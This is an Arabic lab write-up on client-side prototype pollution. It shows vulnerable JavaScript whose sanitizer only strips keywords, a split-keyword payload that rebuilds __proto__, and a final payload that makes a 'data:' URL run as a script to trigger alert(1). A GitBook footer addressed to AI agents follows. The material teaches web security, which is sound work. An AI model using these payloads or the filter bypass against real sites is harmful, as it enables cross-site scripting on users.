> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/prototype-pollution/client-side-prototype-pollution-via-flawed-sanitization.md).

# Prototype Pollution من جانب العميل عبر تنقية معيبة

### تلوث البروتوتايب من جهة العميل عبر تعقيم معيب

#### (1) الخلفية والفكرة العامة

يقرأ التطبيق إعدادات الرابط ثم يحولها إلى كائن JavaScript عبر `deparam(...)`:

* يُنشئ `config = { params: deparam(...) }`
* ثم يستخدم `config.transport_url` لتحميل `<script src="...">`

لتجنب تلوث البروتوتايب، أضاف المطورون `sanitizeKey()` التي تزيل السلاسل الفرعية التالية من المفاتيح:/ `constructor`, `__proto__`, `prototype`.

المشكلة: هذا التعقيم ليس سوى **replaceAll**. إذا **قسّمت** الكلمة المحظورة إلى أجزاء، فبعد الاستبدال يمكنها **إعادة تركيب**.

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("فشل في تخزين الاستعلام");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}

window.addEventListener("load", searchLogger);
```

#### (2) المصدر: تجاوز المرشح وتلويثه `Object.prototype`

المرشح يزيل `__proto__` إذا كان موجودًا كما هو. / ويتم إعادة بنائه عبر وضع `__proto__` **في الوسط** من مفتاح أكبر، بحيث يصبح المفتاح النهائي بعد الحذف بالضبط `__proto__`.

الحمولة:

```javascript
?__pro__proto__to__[foo]=bar
```

بعد التعقيم:

* `__pro__proto__to__` → (حذف `__proto__`) → `__proto__`

إذًا فالأمر كأنه:

* `?__proto__[foo]=bar` -> تلوث عالمي للبروتوتايب

تحقق في وحدة التحكم:

```javascript
console.log({}.foo)
```

<figure><img src="/files/4451fd31513589005c2d1d4851d72f49af84538b" alt="" width="520"><figcaption></figcaption></figure>

#### (4) الاستغلال النهائي: تشغيل `alert()`

`transport_url` تم تلويثه بـ `data:` مخطط يشغّل JavaScript عند تحميل السكربت:

```javascript
?__pro__proto__to__[transport_url]=data:,alert(1)
```

<figure><img src="/files/bc137e0f035727f2f834b99406dfaba8225eb0cc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/prototype-pollution/client-side-prototype-pollution-via-flawed-sanitization.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
